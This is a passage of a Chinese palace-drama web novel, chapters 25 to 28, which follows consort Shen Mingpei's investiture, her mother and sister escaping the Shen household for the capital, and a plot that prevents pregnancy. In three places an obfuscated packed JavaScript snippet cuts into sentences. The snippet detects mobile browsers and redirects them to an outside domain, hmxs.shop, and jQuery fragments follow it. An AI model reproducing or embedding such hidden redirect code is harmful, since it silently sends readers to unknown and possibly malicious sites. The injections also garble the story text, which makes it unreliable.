“我没有纳妾的想法,”说到这个问题,沈明琛也端正了神色,“我也不想亲手把别的女子推入与姨娘相同的命运。不只是我,舅舅、邈表兄、进表弟都未曾纳妾,己所不欲勿施于人的道理我们都懂。” 沈明珮放下心来。这时,赵德光走进来。 “勇毅伯,贤嫔娘娘,”他提醒道,“到时间了。” “愉快的时间真短啊,”沈明珮叹气,“阿兄,妹妹该走了,你一定要多保重。” 有外人在,沈明琛必须遵守礼节,他向沈明珮行礼:“臣告退,娘娘保重。” 25. 册封 献俘和封赏只是最初的工作。偌大一个奴儿干重新收归大齐,如何妥善管理才是重中之重。 献俘大典后第二日,皇帝加开早朝,专讨奴儿干的管理问题。 文武官员们激烈地讨论了一上午,最终以蓟辽改组、重设新行政区划结束。顺天、保定归入直隶,辽东单独成省,改称辽宁。奴儿干拆作黑龙江、吉林两省,与辽宁并称东北。原蓟辽总督、蓟辽总兵改任东北总督、东北总兵。原辽东诸官改为辽宁诸官,黑龙江、吉林比照各省建立官僚体系。 除刘顺改任东北总兵外,此次原蓟辽行省在战争中活下来的文武官员都得以升官。刘邈升任黑龙江都指挥使,正二品,沈明琛升任吉林都指挥同知,从二品。此外,山东、河南两省也有表现优秀的武官得以升官,调至东北。 任命结束后,参加献俘的将领们将以最快速度各自回到任上,只有刘顺、刘邈父子以及沈明琛留了下来。沈明琛是为了成婚,刘顺与刘邈却是皇帝特别开恩,待沈明珮册封礼结束后再返回任上。 百官在朝堂上吵得面红耳赤的同时,景阳宫内,司礼监太监正在为册封礼做最后的检查。 “娘娘,一应服饰物品均无差错。”他说。 “好的,辛苦了,”沈明珮示意寒露送上赏银,“白芷,送客。” 白芷立刻送太监离开。 寒露带领其他宫人收好大礼服,而后问沈明珮:“娘娘可要去长春宫看看?” 长春宫就是沈明珮接下来要住的宫殿,献俘大典后皇帝颁布大封后宫圣旨时命沈明珮迁居长春宫正殿。 “去看看吧。”沈明珮伤势已大好,想出去走走,也想看看已经接下来要住的宫室。 没有带别人,沈明珮让寒露陪她同去。景阳宫在东六宫的东北部,长春宫在西六宫,路途不算近,两人结结实实走了一会儿才到达目的地。 守门的宫人一见是沈明珮,便直接放行。走过长春门,光琉璃瓦歇山顶映入眼帘。沈明珮扫视了一圈,心中感叹,这长春宫建得比景阳宫好多了。 简单看了一圈后,她带着寒露直奔正殿而去。宫人们还在正殿内劳作,两个女官守在殿门外。 “本宫可否进去看看?”沈明珮问女官。 “娘娘请进。”女官自然不会阻拦她。 沈明珮带着寒露走进殿内。殿内布置已近尾声,洒扫宫女和洒扫太监在清理灰尘。正殿内家具用的俱是黄花梨木,做工精巧,雕工细腻。摆件皆是官造,有瓷器亦有玉器,会客处还挂着一幅前代大家的山水画。 “真是大手笔啊。”沈明珮喃喃自语,与长春宫相比,她的景阳宫东配殿同冷宫何异? 她又直奔寝屋而去。寝屋内,架子床乍一看与景阳宫的并无区别,实乃紫檀木所制。还有一个巨大的书架立在寝屋中,足以摆下她带进宫的全部书籍,一看便是她独有的。书架旁靠窗处还有一面小案、一对高脚凳,可用以写字画画。 “娘娘可还满意?”负责布置长春宫的女官走进来,问沈明珮。 沈明珮很满意。 “你们做得很好。”她面上带着笑容。 没再多留,沈明珮回到景阳宫东配殿。吃过晚饭,读了会儿书,她便熄了灯歇下。 第二日,便是她的册封礼。 一大早,沈明珮便在宫人的帮助下穿上皇嫔大礼服。她上着石青色鸾凤鞠衣,罩住下身的藏蓝色凤襕妆花缎马面裙,大衫套在外面,金镶白玉子母扣扣好,将鞠衣掩在大红纻丝纱罗下。纯金的霞帔坠坠在绣着孔雀的霞帔下,又压住大衫。五翟冠很重,冠上翠云密布,前面正中五只珠翟对着牡丹熠熠生辉。两支金凤簪插在冠上,衔着珠结挑牌,垂在她的脸侧。 “娘娘,该出发了。”册封礼正使、副使皆身穿朝服,举节册来到景阳宫,两个小太监早已守在步辇旁。 沈明珮拿起玉圭,走到殿外,坐上步辇。太监抬着步辇走出景阳宫,东配殿内的宫人们立刻搬出早已打包好的箱笼,抬至长春宫中。 另一边,皇帝也是早早穿好冕服,将册封之事敬告太庙。随后,他前往建极殿,脱下冕服,换上皮弁服,前去皇极殿。 文武百官皆着朝服,按品级列队,等候皇帝与沈明珮。其中刘顺着一品朝服,刘邈、沈明琛着二品朝服,皆在前列。 沈明珮到达皇极殿时,先在进入院中前走下步辇,而后在正副使的引导下走到皇极殿前。沈明珮面对皇帝跪下,正使接过圣旨,当着文武百官宣读。 沈明珮行拜礼。 随后尚仪局女官宣册,沈明珮受册,而后沈明珮再拜。 如是共八拜,正副使退场。此时沈明珮与来前相比,手中多了一个银册,乃本朝宫妃封嫔后所得。 册封礼还未结束,沈明珮又在女官的引导下前往坤宁宫。 坤宁宫内,皇后头戴双凤翊龙冠,身着明黄大衫,一身燕居服坐在主位上,两侧是其他穿着大礼服的妃子。 沈明珮走进殿内,先是未封嫔的散号妃子向她行拜礼,之后她又要向皇后行四拜礼。皇后神色淡淡地受了礼,随后站起身。 众人一同去奉先殿。 皇后带着众妃到达奉先殿时,皇帝已与百官等候多时。帝后告谒先祖,而后妃嫔与百官集体朝拜奉先殿。 礼毕,沈明珮向帝后谢恩,册封礼才算完成。 百官有序离宫,其余妃嫔也退场,皇帝、皇后却还要带着沈明珮谒见太后。 慈宁宫内,太后虽一身华贵,脸色却极其难看。沈明珮一进慈宁宫,她便杀气腾腾地看过来。 沈明珮只当感觉不到,待帝后坐太后左右两侧下首后,立刻行标准的八拜礼。而后,不等太后发话,皇帝便允她回宫。 沈明珮立刻恭敬地退出慈宁宫。太后脸阴沉得要滴出水来,等帝后全部告退后,将案上一套茶具掀到地上。 “逆子!”茶壶、茶杯落到地上,发出清脆的碎裂声,顶好的茶水也洒了一地。 宫女们瑟瑟发抖,不敢上前,又被伺候太后多年的老嬷嬷批评。 “愣着做什么呢?都眼瞎了?” 宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955177|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女们一刻不敢耽搁,生怕太后的怒火转到自己头上,快速收拾干净。 太后的气总算是顺了一点。 沈明珮返回自己宫中。这个宫当然不是先前的景阳宫,而是长春宫。 长春宫内,所有箱笼都整理完毕,沈明珮一进来就可以居住。嫔比昭仪又多了两个宫女伺候,沈明珮就挑了两个洒扫宫女补上。 大礼服很重,翟冠压得她头脑发沉,她立刻喊寒露过来帮忙。两人小心翼翼地将衣饰褪下。 “本宫的大礼服以后只能经你的手,”沈明珮对寒露说,“其他人一律不可触碰。” “是,娘娘。”寒露边叠衣服边应下。 经过册封礼后,沈明珮已经很疲惫,吃过东西后直接在新床上睡下。 她睡得极不安稳,梦中一个青面獠牙、身形巨大的男性恶鬼一直追在她身后,举着大刀不停地砍向她。梦境恐怖,梦境外她也是冷汗涔涔,嘴里一直低声呢喃。 “娘娘,娘娘!”在梦中走投无路的她突然听见寒露的声音,猛地睁开眼。 一抹明黄映入眼帘。 沈明珮立刻起身,皇帝的手将她摁住,头顶的声音温和中带着关切:“不必行礼了。爱妃这是做噩梦了?” “是的,”沈明珮点点头,想着噩梦中的景象仍是心有余悸,“大抵是累到了,所以做了噩梦。” “累到了便好好休息,”皇帝摸了摸她的发顶,“不过现在先不要睡了,该吃晚膳了。” 沈明珮闻言看向窗外。日头西斜而下,只留出半个脑袋在地平线上,确实是傍晚了。 她下了床,换好燕居衣裳,走进正屋。 晚膳已经摆好了,依着皇帝的份例,丰盛且美味。皇帝已坐在主位上,见她走出来,拍了拍自己身侧的椅子。 沈明珮坐到他旁边,跟着皇帝的太监为两人布膳。吃完后,下了会儿棋,沈明珮就去沐浴。 当天晚上,长春宫灯笼高挂。 沈明珮再醒过来时,皇帝已经离开。昨天夜里,在困倦中,她反倒没有再做噩梦。天色已亮,她穿戴好后,立刻去坤宁宫请安。 “这当了娘娘就是好啊,请安也可以这么晚才来,”沈明珮一走进坤宁宫,就听见王婕妤打趣,“咱们的贤嫔娘娘能给妹妹沾沾喜气不?妹妹我也想早日晚起呢。” 说着,她向沈明珮伸出手。 沈明珮此次确实来晚了,宁妃、顺嫔都已到场,并且坐了有些时候。原本有些紧张的气氛经王婕妤这么一搅和反而平和下来。 “当然可以,本宫祝王妹妹早日高升。”沈明珮说着,把手搭在王婕妤手上。 双手掌握片刻,沈明珮松开手,坐到自己座位上。不一会儿,皇后终于出场,每日晨定正式开始。 城门口,一个中年人和一个青年人骑在马上,等待卫兵放行。待轮到他们时,两人直接将令牌拿出来,卫兵看清后立刻恭敬地放他们离开。 走出京城,两人快马加鞭,向东北疾行,京城被他们抛在身后,最后变成了一个微小的点。 26. 接人 沈明珮回到长春宫,宫人已完成早上的洒扫。她看也没看,叫来寒露。 “兄长的人今天出发去接阿娘,是吗?” “回娘娘,是的。”寒露回道。 沈明珮吐了口气,勾了勾手指,让寒露把耳朵凑过来:“你派人出宫一趟,就说传本宫口谕。不,你亲自去吧。” 有沈明珮在后面,寒露这趟出宫很容易,午膳之前便赶了回来。 “娘娘,奴婢已将话带到,”她禀道,“勇毅伯的人已经出发。” “辛苦你了,”沈明珮正喝着白菊自制的果汁,将壶放在寒露面前,“白菊做的果汁,很好喝,你也喝点。” “多谢娘娘!”寒露自己倒了一杯,尝了一口后便一饮而尽。 金陵,两江总督府内,自从新年过后大齐集结军队伐金,府中气氛就一直不太好。太太一天到晚没有个笑模样,老爷也是一直沉着脸,府中丫鬟小厮几个月来一直大气不敢出,生怕惹了主子的不快,被撵出去。 刘姨娘这段时日一直在自己院中,没有与沈总督夫妻碰面。她放下笔,整日静静坐在窗边,看向窗外,手里握着她姨娘生前戴了后半辈子的十字架。 “阿娘,若这世上真有天堂,您能不能保佑琛儿?”这是她这些天经常说的一句话,频繁到府上送一日三餐的丫鬟都能背下来了。 “她也真是蠢,她那姨娘连她自己都保护不了,哪里能保护得了别人?”这天午后,送完午膳的丫鬟正与其他丫鬟嘲笑刘姨娘,忽然听见一声洪亮的“圣旨到”。 丫鬟们面面相觑,虽然不知到的是什么圣旨,却纷纷闭上了嘴。 沈总督心里却是有数的。虽说皇帝一直与前线秘密联系,户部、兵部接到的也都是密令,但京城没有动作本身就是一种动作。沈总督便判断出来,伐金当是颇为顺利。 按理说这没什么不好的,如果带兵的不是刘顺,前锋不是刘邈和沈明琛。沈总督也明白,他的心思在外绝对不能表露出来。前不久大齐灭金的喜讯传来,他更是将喜悦的面具时刻挂在脸上,回到家里才敢摘下来。 现在天使到来,他很清楚,这是皇帝要封赏他的这个逆子了。 “奉天承运,皇帝制曰——”天使站在沈总督面前,展开圣旨,一通诵读,而后恭喜沈总督,“陛下甚是看重勇毅伯,沈大人可是生了个好儿子啊。” “臣,叩谢圣恩。”沈思远晕乎乎地结过圣旨,脑子里一片空白。 沈明琛那逆子怎么就成了伯爷了?他真立了那么大的功?他成了伯爷,以后老大该怎么办?陛下允许一个家族同时在文武两路都出高官吗? 脑子疯狂思考间,他看见天使又拿出一卷圣旨。 “沈大人家中可有一个刘孺人?” “有,有的。”沈总督晕乎乎地回答。 “请沈大人叫她出来,在下还有一卷颁给她的圣旨。” 天使的话把沈总督砸清醒了。他压着心中的不安,命小厮把刘姨娘带上来。 过了一会儿,刘姨娘走到主院。她衣着朴素,身材清瘦,面色是不健康的苍白,走到天使面前,端正地行礼。 这就是忠勇侯亲妹、勇毅伯与贤嫔之母,陛下亲封的孺人?天使打量着她,心中不禁感慨,沈总督居然连这样身份的妾室都能苛待成这样,这心性实在是令人侧目啊。 “请刘孺人接旨,”他轻轻咳了一声,展开圣旨,“奉天承运,皇帝制曰,国重褒封,宠命必均于母子。顾乃名臣之慈母,可无推锡之殊恩?勇毅伯兼吉林都指挥同知之母,封孺人。刘氏,克树芳型,尤多荻教……” 刘姨娘跪在天使面前,低头听旨,沈总督也不能在一旁站着。他跪在一边,听得心里直打鼓,直到听到“兹特加封为宜人”,他才在心里松了口气。 “妾谢陛下恩典。”刘姨娘叩首,而后恭敬地接过圣旨。 天使紧接着又说:“陛下口谕,刘宜人迁居京师勇毅伯府。” 此话入炮弹般砸进总督府。沈总督已经顾不得天使的存在,立刻就沉下脸来。 “本官尚在人世,刘氏是本官的妾室,怎可独自离府?” 天使避而不答,只笑眯眯地说:“这是陛下的旨意,沈大人若有疑问,不妨亲自上书陛下问个究竟。” 沈总督气得吹胡子瞪眼。他有这胆子吗?皇帝明摆着要捧刘顺舅甥,他这时候上书指责皇帝为什么把刘顺的妹妹接走? 天使不管快要气成河豚的沈总督,传完圣旨就离开,甚至连赏钱都没要。刘姨娘接完圣旨,也准备回去。 “刘氏。”沈总督叫住她,声音阴冷。 “大人有何事?”她头都没回。 “想想沈明玥,你舍得把她一个人留在府里吗?”沈总督很清楚,子女向来是拿捏刘姨娘最好的工具。 “沈思远,你还是像一如既往地无耻。”刘姨娘终于转过身,眼里是蓬勃的杀意。 “未嫁从父,我的女儿留在我的府里是天经地义,她若是犯了大错,我处死她也是天经地义,你一个姨娘,连她的母亲都不是,便是封了一品夫人,又能奈我何?到底要不要离府,你自己好好想想吧。”沈总督占着礼教的高地威胁完刘姨娘,背着手悠然离开。 后院里,太太听说刘姨娘升至宜人,面无表情地剪断了一根花枝。 “太太,您没事吧?”报信的婆子也是跟了太太多年的仆人,原先是她的陪嫁丫鬟,后来配给了沈总督最信任的管家。 自从去岁冬天蓟辽军击退金人后,她就时不时发现自家男人身上有一股压抑着的紧张感,她知道,这股紧张感来自沈总督。现在见太太连花都剪了,这股紧张感终于蔓延到她自己身上。 “无事,”太太把花扔出窗外,“不过是从敕命升为诰命,本质没有区别。我终究是一品夫人,她翻不出我的手掌心。” “可是,陛下让她迁居京师。”婆子语气中仍有疑虑。 “老爷不会让她走的。”太太笃定。 刘姨娘回到院中不久,一个看起来不到十岁的小姑娘跑进来,抱住她。 “阿娘,你别管我了,去京城吧。”她把脸埋进刘姨娘怀中,闷声说。 刘姨娘泪眼模糊。 “你怎么知道的?谁同你说的?我怎么可能丢下你自己走?” “颁圣旨的时候,我在后面偷听了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968309|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”沈明玥将刘姨娘抱得更紧,“父亲他就是要用我拿捏您,您若是留下就中了他的计了。您走吧,不管怎么说我是他的女儿,他为了自己的官声不敢害死我的。” 说是这么说,其实沈明玥也没有把握。沈总督威胁刘姨娘的话犹在耳畔,他占着父亲的身份,真要杀了自己,自己又能怎样呢?前朝的青天不也以礼法之名饿死了自己年仅五岁的女儿?但是在阿娘面前,她绝不能表露出一点害怕,她不能拖累阿娘。 “我们一起走,”刘姨娘说着,脑中突然划过一道思绪,她定了定神,重复道,“我们一起走,娘一定能带你走出去的。” 接下来数日,刘姨娘一直都在收拾行李。有她的,也有沈明玥的。等勇毅伯府管家亲自来接人时,刘姨娘带着沈明玥,身后跟着拿着行李的秋霜,一齐出现在沈府大门前。 信心满满,打算撵走管家的沈总督心脏突然漏跳了一拍。 “刘氏,你当真不要你女儿了?”他冷声提醒刘姨娘。 刘姨娘微笑道:“老爷误会了,妾身是要带玥儿一起走。” “刘芸!”沈总督怒喝,“本官是沈明玥的父亲,她的母亲也在沈府,你一个姨娘,无权带走她。若你执意要带走沈府的女儿,那本官也只好与你对簿公堂了。” 说着,他一招手,沈府的护院举着刀枪围过来。 刘姨娘怡然不惧,拔了头上的簪子对准自己的脖子。 “陛下让我迁居勇毅伯府,这是圣旨,”她面带笑意,看着沈总督,“沈大人,若我这个执行圣旨的对象死在这里,你说陛下会不会治沈家一个抗旨之罪?” “你这个疯子。”沈总督语气森然。 “多谢沈大人夸赞,”刘姨娘的手很稳,杵在脖子旁一动不动,“若我不疯,这些年早就死在沈府后院不知道哪个角落了。” “本官会向陛下上书,一个卑贱妾室,不敬夫主,教唆少爷小姐忤逆父母,如此疯妇,怎配朝廷诰命?”沈总督说罢,正欲命护院将三人拿下,勇毅伯府管家说话了。 “沈大人,陛下说宜人配,她就是配,您一介臣子还是莫要置喙为好,”伯府管家抬起右手,来接人的众人居然也拿出武器,与沈府护院呈对峙之势,“另,贤嫔娘娘口谕,沈府六娘沈明玥随母一并上京。” 沈总督脸都要绿了。 管家不管沈总督的心情,接着说:“娘娘说了,沈大人惯会以伦理纲常压人。娘娘虽不喜此等做派,但也乐于以子之矛攻子之盾。父子夫妾之上尚有君臣,沈大人当真要违抗天子以及天子妃嫔的旨意吗?” 沈总督身形僵住半晌,挥挥手,让护院们退下。 “放人。” 宁远城外,一个中年文人背着包袱,手里拿着推荐信,坐上南下进京的马车。推荐人赫然是忠勇侯,收信人是国子监祭酒,信上推荐先帝景宁十七年广州府亚元孔诚入国子监。 长春宫内,沈明珮问寒露:“兄长的管家是今日接阿娘和妹妹吧?” “是的,”寒露回答,“娘娘,您觉得她们能离开沈府吗?” “能的,”沈明珮无比笃定,“阿娘一定会带着玥儿走出来。” 27. 相见 刘姨娘带着沈明玥入京那天,宫里正好是宸嫔的册封礼。 这一次,沈明珮成了观礼的人。宸嫔乘着步辇离开承乾宫时,她才刚刚起身。 起床,洗漱,吃几块点心,而后穿上全套大礼服,顶着翟冠前去坤宁宫。到坤宁宫门前,她走下步辇,进入正殿,皇后已经穿着燕居冠服坐在主位。 “贤嫔来了,”她点头示意,“快坐下吧。” 此时殿内还有三个空位,正好对应三个娘娘,沈明珮坐到主位左下首第二位。过了片刻,顺嫔和宁妃方来,众人又等了一会儿,宸嫔才出现在坤宁宫院落内。 宸嫔走进坤宁宫正殿,散号妃嫔先起身向她行礼,而后她再向皇后行礼。沈明珮不用挪动身体,只在座位上看着便可。 旁观别人行礼,感受与自己行礼时又有不同。这么沉的一身,她当时是怎么从皇极殿到慈宁宫一路穿着行礼的?沈明珮忽然觉得浑身酸疼。 这厢宸嫔已经礼毕,皇后带着众妃同她一起前往奉先殿。到奉先殿时,皇帝已带着百官在殿前等着了。 沈明珮随宁妃、顺嫔走到妃嫔队列中,在帝后告谒奉先殿时同百官一同下拜。随后,帝后带宸嫔拜见太后,其余妃嫔回宫。 步辇不能同妃嫔队列一起行动,三个娘娘也只能步行回宫。回到长春宫,沈明珮立刻将大礼服卸下。 宫人立刻将早膳端上来,半空着肚子忙活了大半个上午的沈明珮以风卷残云之势将早膳吃了个干干净净。 宫人们将餐盘撤下时,白芷来报。 “娘娘,刘宜人和沈六姑娘已到京城。” 沈明珮笑了:“我就知道阿娘肯定能带着玥儿来京城。” 慈宁宫内,宸嫔拜完太后,正要起身,突然栽倒在地,晕了过去。 太后的脸立刻就黑了。 “在老身面前说晕就晕,皇帝,这就是你选出来的皇嫔?”她的手杖敲打在地上,响个不停。 皇帝漫不经心地说:“母后息怒,且容朕叫了太医再说。” 太医很快便来,摸着宸嫔的脉搏,沉吟片刻道:“恭喜陛下,恭喜娘娘,宸嫔娘娘是有孕了。” 太后握着手杖的手紧了紧。 皇后立刻问太医:“宸嫔晕倒可有碍?” “宸嫔只是劳累过度,并无大碍,”太医回答道,“休养几天便可。” 太医拿了赏赐离开,皇帝又看向太后:“母后,宸嫔孕育皇嗣,乃有功之人,可否不责罚她?” “老身怎敢责罚大齐的功臣?”太后没好气地说,“快走吧,让吾一个人静静。” 帝后立刻告辞,带着昏迷的宸嫔离开。 皇后回到坤宁宫,惯常的端庄立刻消失不见。殿内仿佛都跟着阴冷下来,小宫女小太监默默退下。 晴兰端着茶水轻着脚步走到皇后身前,默默为她倒好茶,递到她的手里。皇后接过茶杯,却只是端在手里,没有喝下去。 “娘娘,可是发生了什么事?”晴兰问她。 她叹了口气。 “宸嫔有孕了。宫里母家强势的孩子越来越多了。” 这些有强大母族的皇子都可能会成为她的太子的劲敌。偏偏随着定国公被罢官,都察院内右都御史权力逐渐超过她父亲,皇帝对太子也开始冷淡,她心里怎能不着急? 晴兰知道皇后的焦急。她对此无能为力,只能默默陪在皇后身边。 皇后心中的火在看到沈太太来信的那一刻彻底点燃。 “诉苦诉苦,一天就知道诉苦,”她把信摔在桌面上,“除了诉苦还做过什么?沈明珮的哥哥封了勇毅伯,舅舅封了忠勇侯,他们呢?有给过我哪怕分毫的支持吗?” 气极的皇后抓起茶杯狠狠往下灌,被烫得一下子把茶吐了出来。 “这茶是谁倒的?”她怒吼,“把她撵出坤宁宫!” 很快就有两个太监将一个小宫女拖走。 皇后气得脸颊发红、呼吸急促,过了很久才缓回来。此时天已经黑透了,沈明珮早早熄灯就寝。 没几日便是沈明琛与锦衣卫指挥使独女的婚礼。婚礼的准备时间很短,但皇帝指派司礼监亲自操办,司礼监当然不会怠慢新贵,一切用度皆是二品官员可用之物内最好的。 司礼监太监还给沈明珮送了张单子,上面记载了置办婚礼所用的物件。沈明珮看后,命寒露给司礼监送了一小包金瓜子。 婚礼当日,沈明珮喊寒露将自己的百蝶穿花金头面装好,送到勇毅伯府。 “宫妃不能随意出宫,你代我将它送给嫂子做贺礼。” 回门后第二天,刘芸递了牌子,带女儿和儿媳进宫。 沈明珮早就穿戴整齐,只等她们进宫。为她们带路的宫女带着她们走到长春宫门前,早已在此等候多时的寒露立刻带她们进了正殿。 “阿娘!”沈明珮见到刘芸,直接站起身,快步奔跑到她面前。 刘芸欲要行礼,沈明珮立刻将她扶住:“阿娘,您这是做什么!此处没有外人,您不必循那些礼数。” 说完,她连扶带拽,把刘芸摁在主位上,自己坐到下首。 “臣妇拜见贤嫔娘娘。”孙氏在一旁依规行礼,沈明玥学着她的样子下拜。 “快起来,”沈明珮忙道,“不知嫂子芳名是什么?” “回娘娘,臣妇名玉兰。”孙玉兰微低着头恭声回道。 “玉兰吗,真是好名字。”沈明珮正说着,白芷进来禀报,坤宁宫宫人求见。 “让她进来吧。”沈明珮放人进来。 坤宁宫宫女走进正殿,草草行了一礼,恶声恶气道:“奴婢奉皇后娘娘之命提醒贤嫔娘娘,娘娘知道贤嫔娘娘难与生母见面,但也莫要因为与家人团聚就忘了抄书。” 说完,她不等沈明珮说什么,又行了一礼便扬长而去。 “皇后说的抄书是什么?”宫人一走,刘芸就抓着沈明珮的手问她。 沈明珮另一只手轻拍她的手背,若无其事道:“不是什么大事。沈家那位太太又去信向皇后诉苦,皇后又没有旁的罚我的办法,只能让我抄孝经。” “这个恶妇!”刘芸怒骂,“他们夏家的女人就会磋磨人!” “阿娘放心,皇后不能把我怎样,”沈明珮温声安慰,“倒是阿娘,明明我入宫前就早已经是孺人了,怎么一年多不见,您还是这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979212|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 憔悴?” “因为阿姐你离开后,父亲又减了阿娘的份例!”沈明玥在后面说,“去年一整年阿娘的院子里就没有荤腥,米粮也卡在刚刚不会让人挨饿的地步。” “玥儿!”刘芸打断她,安抚沈明珮,“娘娘,臣妇没事。” “阿娘,我想知道真实情况,”沈明珮脸色已经冷下来,坐在一旁的孙玉兰一时间大气不敢出,“明玥,你接着说。” 沈明玥点点头,继续说道:“去岁一整年,沈府都没有为我们添置新衣。阿娘自己花钱买布制衣,被沈府的管事扣下,而后大夫人以府中衣食皆从她调度为由将东西没收。过冬时也没有炭,阿娘伐了小院中的花木才勉强度日。” “幸好你们进京了。”沈明珮面色阴沉。 每次她以最大的恶意揣度沈家夫妻时,她们总是能再一次跌破她的下线。 “都过去了,”刘芸握紧沈明珮的手,“把以后的日子过好才是最重要的。” 拜见宫妃亦有时间限制,没多久就快到三人离宫的时间。沈明珮命寒露将早已备好的东西拿出来。 “玥儿正是读书识理的时候,我相信,有阿娘在,你的学问不会差,”说着,她拿起一本书,放到沈明玥的手里,“这是皇家书局印造的专供宫中阅读的书。阿娘翻译过的西洋学者曾说过读史使人明智,姐姐今日便赠你《史记》,望你行于世间,能有自己的认知与判断。” “多谢阿姐!”沈明玥兴高采烈地接过,对这包装精美的书籍爱不释手。 沈明珮又拿出一套围棋,送给孙玉兰。 “我听闻嫂嫂喜好下棋,便送嫂嫂玉子围棋一套,望嫂嫂喜欢,也祝嫂嫂与阿兄琴瑟和鸣。” “多谢娘娘,臣妇很喜欢。”孙玉兰谢恩。 在婚礼前,她的父亲就提醒她,莫要因为她婆母并非正室便轻视人家。婚后相处不过几天,刘芸对她都很和善,并无寻常婆母的架子。知晓刘芸就是寒山居士后,她在短暂的难以置信后就是由衷的佩服,但这种钦佩更多是对一个文人。 今日进了宫,她才真正明白父亲的告诫。这位势头正盛的贤嫔娘娘只是坐在那里就让人心生服从之意,而她身在宫中,竟然对自己的喜好一清二楚。更有甚者,观其言行,她竟然对面皇后也是怡然不惧。 陛下不喜旧勋贵,父亲在调查定国公府陷害蓟辽军一案后也彻底与旧勋贵交恶,若能与贤嫔结盟,或许会对父亲有利。 孙玉兰心中思索着,沈明珮已经拿起最后两样东西。 “阿娘入了京,日后也会参加京中各种官太太的宴会,女儿便用金陵进贡的云锦为阿娘制了两条裙子。” 说着,沈明珮展开裙子,妆花行蟒织于裙襕上,无比威风。 “这两条裙子均是蟒纹,一石青一官绿,配大礼服或是补服皆可,”沈明珮说着,又拿出一支金镶宝发簪,“这是给秋霜的,她这一年想来也没少吃苦。” 刘芸全部收下。 时辰已到,三人告退。沈明珮带着宫人们奋笔疾书,当天晚上就把抄好的孝经送到坤宁宫。 第二天一早,沈明琛与孙玉兰就前往已更名为隆州的金上京赴任。 28. 有孕 “娘娘,太医来了。” 进入十月,宫中已经换上冬装。白芷穿着一身崭新的冬衣走进长春宫正殿的寝屋,向沈明珮禀报。 长春宫正殿内已经支起炉子,寝屋里更是暖和,沈明珮还穿着秋衣。她这几日总觉得困顿,恰逢每月一次请平安脉的时候到了,便打算让太医好好看看。 沈明珮成为贤嫔已有半载。沈明琛成婚后不久就带着新婚妻子前往吉林,京城勇毅伯府内只有刘芸与沈明玥。沈家自从太太写信向皇后诉苦后就再无其他行动,宫外的母女俩和宫内的沈明珮都没什么糟心事。 进入夏天,炎热之下,寒露在长春宫正殿寝屋的床下发现了一包香料。沈明珮没有声张,只让心腹宫人将床拆开,拿出香料,交给通医术的寒露分辨。 结果很快便出来,香料是防止人有孕的。 九月初五,沈明珮生辰,长春宫内设宴。宫中所有妃嫔皆到场,皇帝、皇后也莅临宴会,并赐下贺礼。当晚,皇帝留宿长春宫。 前朝后宫平静无波,沈明珮在宫中不算最得宠,但也在宠妃之列。 太医走进长春宫,沈明珮已经在正屋主位上坐好了。 “下官见过娘娘。”太医行礼。 “云大人,本宫近来总觉困顿,还请大人好好瞧瞧。”沈明珮说着,伸出手腕。 云太医只是太医院内一个普通的太医。他虽然有些本事,但年纪尚轻,升官发财总同他没什么关系。沈明珮入宫后,院里老太医打发他去给彼时还被太后公开厌弃的她请平安脉,几个月下来两人倒是有些熟悉了。沈明珮晋为贤嫔后,依然指定云太医为自己请平安脉。 云太医手搭在沈明珮脉上,片刻后站起身向沈明珮行礼。 “恭喜娘娘,娘娘这是滑脉,”他说罢又坐回去,面带凝重地继续说,“只是,娘娘的脉象并不强健,可是碰到过什么不该碰的东西?” 沈明珮叹了口气,招来寒露,让她将香料拿出来。 “这是前些日子本宫的宫人在本宫寝屋的床底下发现的,”沈明珮说着,挥手示意寒露将香料递给云太医,“不知太医口中不该碰的东西是否是这个?” 云太医接过香料,拿起一点放在鼻子边细闻,片刻后将它放回,放在桌上。 “娘娘,请陛下来吧。”他说。 皇帝很快就被请了过来,进门就问:“爱妃,云爱卿,你们叫朕来,所为何事?” 沈明珮站起身,走到皇帝身边,挽住他的胳膊:“陛下,妾想告诉您一个好消息。妾有孕了。” 皇帝抬起眉毛,立刻问云太医:“此事当真?” “回陛下,贤嫔娘娘确实是滑脉。”云太医躬身回复。 “好!长春宫上下重重有赏!”皇帝龙颜大悦,立刻要赏赐长春宫下人,却发现殿内并无喜悦之气。 他的心也冷下来。 “云爱卿,贤嫔此胎可是有什么问题?” 云太医恭敬地将香料呈到皇帝面前,而后垂着头跪在地上。 “禀陛下,臣呈上的香料可让女子不孕。娘娘曾接触此香料,受其影响,脉息较弱,需要静养。” 听到皇嗣可能有问题,皇帝的也沉下脸。 “贤嫔,你来说是怎么回事。” 